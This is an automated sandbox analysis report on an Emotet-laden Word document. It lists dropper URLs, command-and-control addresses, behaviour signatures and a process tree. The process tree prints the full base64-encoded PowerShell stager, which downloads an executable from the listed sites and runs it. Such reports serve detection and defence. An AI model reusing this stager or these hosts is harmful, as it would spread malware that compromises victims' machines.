Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    29/07/2020, 06:55

General

  • Target
    CNF_794027157956963665888.doc
  • Size 169KB
  • Sample200729-a56rf4xe72
  • SHA256 05d7fbb4d8d2d81c1066cdfa392180356d3832952230ea62b713816042476621
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://meuambientedecoracoes.com.br/update/ux5_iq061_x7f/

  • exe.dropper

    http://dogbluemedia.com/dbm-salon/1g_9s_98t0/

  • exe.dropper

    http://enhancementtechnology.co.uk/wp-includes/w0r_c6_zy8an/

  • exe.dropper

    https://firstaid-redliv.dk/wp-content/c_zjmm_0p7xzukpo9/

  • exe.dropper

    http://firman.com.au/fq_cze_gakl53z/

Extracted

Family
  • emotet

C2
  • 76.27.179.47:80

  • 212.51.142.238:8080

  • 189.212.199.126:443

  • 61.19.246.238:443

  • 162.154.38.103:80

  • 91.211.88.52:7080

  • 83.110.223.58:443

  • 124.45.106.173:443

  • 116.203.32.252:8080

  • 109.117.53.230:443

  • 5.196.74.210:8080

  • 75.139.38.211:80

  • 168.235.67.138:7080

  • 176.111.60.55:8080

  • 169.239.182.217:8080

  • 74.208.45.104:8080

  • 31.31.77.83:443

  • 222.214.218.37:4143

  • 37.139.21.175:8080

  • 91.205.215.66:443

rsa_pubkey.plain

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of WriteProcessMemory 3 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\CNF_794027157956963665888.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Enumerates system info in registry
    PID:788
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABMAFMATQBXAEYAaQB3AHoAPQAnAEwAUABKAEcASAB4AHMAbgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBjAHUAUgBgAGkAdABZAGAAcAByAG8AdABPAGMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQASABDAFYAUgBYAGkAagBrACAAPQAgACcANQA2ADkAJwA7ACQATwBWAEUAUABKAGEAbQBtAD0AJwBCAEYASwBIAFUAaQBlAHoAJwA7ACQAQgBWAFEATgBGAHEAegBqAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABIAEMAVgBSAFgAaQBqAGsAKwAnAC4AZQB4AGUAJwA7ACQARgBRAEkAUQBGAHYAbgB0AD0AJwBBAFUAWABaAEsAdABqAHcAJwA7ACQARwBQAFQAWABRAHAAbwBrAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABuAGUAVAAuAFcARQBCAEMATABJAGUAbgB0ADsAJABDAEEAVgBPAFQAcwB0AG8APQAnAGgAdAB0AHAAOgAvAC8AbQBlAHUAYQBtAGIAaQBlAG4AdABlAGQAZQBjAG8AcgBhAGMAbwBlAHMALgBjAG8AbQAuAGIAcgAvAHUAcABkAGEAdABlAC8AdQB4ADUAXwBpAHEAMAA2ADEAXwB4ADcAZgAvACoAaAB0AHQAcAA6AC8ALwBkAG8AZwBiAGwAdQBlAG0AZQBkAGkAYQAuAGMAbwBtAC8AZABiAG0ALQBzAGEAbABvAG4ALwAxAGcAXwA5AHMAXwA5ADgAdAAwAC8AKgBoAHQAdABwADoALwAvAGUAbgBoAGEAbgBjAGUAbQBlAG4AdAB0AGUAYwBoAG4AbwBsAG8AZwB5AC4AYwBvAC4AdQBrAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdwAwAHIAXwBjADYAXwB6AHkAOABhAG4ALwAqAGgAdAB0AHAAcwA6AC8ALwBmAGkAcgBzAHQAYQBpAGQALQByAGUAZABsAGkAdgAuAGQAawAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBjAF8AegBqAG0AbQBfADAAcAA3AHgAegB1AGsAcABvADkALwAqAGgAdAB0AHAAOgAvAC8AZgBpAHIAbQBhAG4ALgBjAG8AbQAuAGEAdQAvAGYAcQBfAGMAegBlAF8AZwBhAGsAbAA1ADMAegAvACcALgAiAHMAYABQAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBEAEMAVgBTAHYAegB5AD0AJwBBAEkAUABZAEQAeQBoAGkAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFMARABTAFEARgBuAHAAcwAgAGkAbgAgACQAQwBBAFYATwBUAHMAdABvACkAewB0AHIAeQB7ACQARwBQAFQAWABRAHAAbwBrAC4AIgBkAE8AVwBOAGAAbABgAG8AYQBEAGYAaQBsAEUAIgAoACQAUwBEAFMAUQBGAG4AcABzACwAIAAkAEIAVgBRAE4ARgBxAHoAagApADsAJABTAFkAUABKAEIAcQBzAGwAPQAnAEEAQgBVAFIAWAB5AHgAeQAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEIAVgBRAE4ARgBxAHoAagApAC4AIgBMAGUAbgBHAGAAVABoACIAIAAtAGcAZQAgADMANgA1ADEAOQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAEUAYQBgAFQAZQAiACgAJABCAFYAUQBOAEYAcQB6AGoAKQA7ACQASgBYAE0AUgBIAGYAbgBrAD0AJwBDAFIAWQBSAEMAdQByAHgAJwA7AGIAcgBlAGEAawA7ACQAVwBDAE0AQwBIAGUAeQB4AD0AJwBJAEsAUQBBAEUAZAB6AHkAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBHAEkARQBPAGYAYQBpAD0AJwBDAEoAUwBXAEcAYQBkAGIAJwA=
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    PID:2320
  • C:\Users\Admin\569.exe
    C:\Users\Admin\569.exe
    1⤵
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    PID:3836
    • C:\Windows\SysWOW64\AuthFWGP\offlinesam.exe
      "C:\Windows\SysWOW64\AuthFWGP\offlinesam.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:488

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/488-11-0x0000000000740000-0x000000000074C000-memory.dmp

        memory/3836-8-0x0000000000670000-0x000000000067C000-memory.dmp